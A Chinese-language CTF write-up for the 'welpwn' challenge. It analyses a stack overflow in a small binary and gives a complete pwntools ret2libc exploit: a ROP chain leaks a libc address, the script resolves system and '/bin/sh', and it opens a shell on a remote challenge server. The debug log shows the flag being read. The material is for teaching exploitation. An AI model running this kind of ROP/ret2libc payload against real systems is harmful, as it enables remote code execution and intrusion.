題目地址:welpwn
本題是高手進階區的第13題,先看看題目
照例檢查一下保護機制
[*] '/ctf/work/python/welpwn/a9ad88f80025427592b35612be5492fd'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
沒什麼問題,只開了NX。
看下反編譯之後的c語言代碼:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-400h]
write(1, "Welcome to RCTF\n", 0x10uLL);
fflush(_bss_start);
read(0, &buf, 0x400uLL);
echo((__int64)&buf);
return 0;
}
int __fastcall echo(__int64 pszInputString)
{
char szTemp[16]; // [rsp+10h] [rbp-10h]
for ( g_nIndex = 0; *(_BYTE *)(g_nIndex + pszInputString); ++g_nIndex )
szTemp[g_nIndex] = *(_BYTE *)(g_nIndex + pszInputString);
szTemp[g_nIndex] = 0;
if ( !strcmp("ROIS", szTemp) )
{
printf("RCTF{Welcome}", szTemp);
puts(" is not flag");
}
return printf("%s", szTemp);
}
這個題目的代碼量非常少。我們看到echo裏面有數組下標溢出,但是有判斷條件:輸入的字符如果是0的話不再繼續拷貝數據,那我們溢出的時候,就沒法輸入多個地址數據了。
我們用ida調試的時候發現echo函數的棧底下方接着的就是main函數的buf變量。
我們試着輸入多個地址數據
看看堆棧的情況如何
用gdb調試,發現echo函數溢出之後只接收到了第一個地址,但是下面的堆棧有完整的多個地址的輸入數據。
這就好辦了,我們先pop出來4個堆棧數據,那麼接下來就是我們輸入的rop指令了。
那我們就先找一下連續4個pop的rop指令:
root@mypwn:/ctf/work/python/welpwn# ROPgadget --binary ./a9ad88f80025427592b35612be5492fd --only 'pop|ret'
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400675 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400589 : ret
0x00000000004006a5 : ret 0xc148
0x000000000040081a : ret 0xfffd
Unique gadgets found: 13
可以看到第一個40089c就是我們需要的指令,只需要一個地址就行了。那就把第一個地址放在溢出的eip,後面跟上我們需要的rop指令就好了。
構建一下python腳本如下:
#!python
#!/usr/bin/env python
#coding:utf8
from pwn import *
context.log_level = 'debug'
process_name = './a9ad88f80025427592b35612be5492fd'
# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('111.198.29.45', 54453)
elf = ELF(process_name)
main_addr = 0x4007CD
echo_addr = 0x40071D
pop_rdi_ret = 0x4008a3
pop4_ret = 0x40089c
write_got = elf.got['write']
puts_plt = elf.plt['puts']
payload = 'A'*(0x10+8) + p64(pop4_ret) + p64(pop_rdi_ret) + p64(write_got) + p64(puts_plt) + p64(main_addr)
# pause()
p.sendafter('Welcome to RCTF\n', payload)
p.recvuntil('A'*(0x10+8))
p.recv(3)
write_addr = u64(p.recvn(6).ljust(8, '\x00'))
log.info("write_addr => %#x", write_addr)
from LibcSearcher import *
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'A'*(0x10+8) + p64(pop4_ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()
執行情況如下:
root@mypwn:/ctf/work/python/welpwn# python welpwn.py
[+] Opening connection to 111.198.29.45 on port 54453: Done
[DEBUG] PLT 0x40059c puts
[DEBUG] PLT 0x4005b0 write
[DEBUG] PLT 0x4005c0 printf
[DEBUG] PLT 0x4005d0 alarm
[DEBUG] PLT 0x4005e0 read
[DEBUG] PLT 0x4005f0 __libc_start_main
[DEBUG] PLT 0x400600 strcmp
[DEBUG] PLT 0x400610 __gmon_start__
[DEBUG] PLT 0x400620 fflush
[*] '/ctf/work/python/welpwn/a9ad88f80025427592b35612be5492fd'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[DEBUG] Received 0x10 bytes:
'Welcome to RCTF\n'
[DEBUG] Sent 0x40 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 9c 08 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000020 a3 08 40 00 00 00 00 00 20 10 60 00 00 00 00 00 │··@·│····│ ·`·│····│
00000030 9c 05 40 00 00 00 00 00 cd 07 40 00 00 00 00 00 │··@·│····│··@·│····│
00000040
[DEBUG] Received 0x10 bytes:
'Welcome to RCTF\n'
[DEBUG] Received 0x22 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 9c 08 40 b0 d2 ee 66 35 │AAAA│AAAA│··@·│··f5│
00000020 7f 0a │··│
00000022
[*] write_addr => 0x7f3566eed2b0
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[DEBUG] Sent 0x38 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 9c 08 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000020 a3 08 40 00 00 00 00 00 57 2d f8 66 35 7f 00 00 │··@·│····│W-·f│5···│
00000030 90 b3 e3 66 35 7f 00 00 │···f│5···││
00000038
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x42 bytes:
'bin\n'
'dev\n'
'flag\n'
'lib\n'
'lib32\n'
'lib64\n'
'libc32-2.19.so\n'
'libc64-2.19.so\n'
'welpwn\n'
bin
dev
flag
lib
lib32
lib64
libc32-2.19.so
libc64-2.19.so
welpwn
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2d bytes:
'cyberpeace{1fcc408fd64acb1dcde98c0f11a7429b}\n'
cyberpeace{1fcc408fd64acb1dcde98c0f11a7429b}
執行成功!本題的知識點是用gdb進行內存堆棧調試,發現堆棧的排列情況。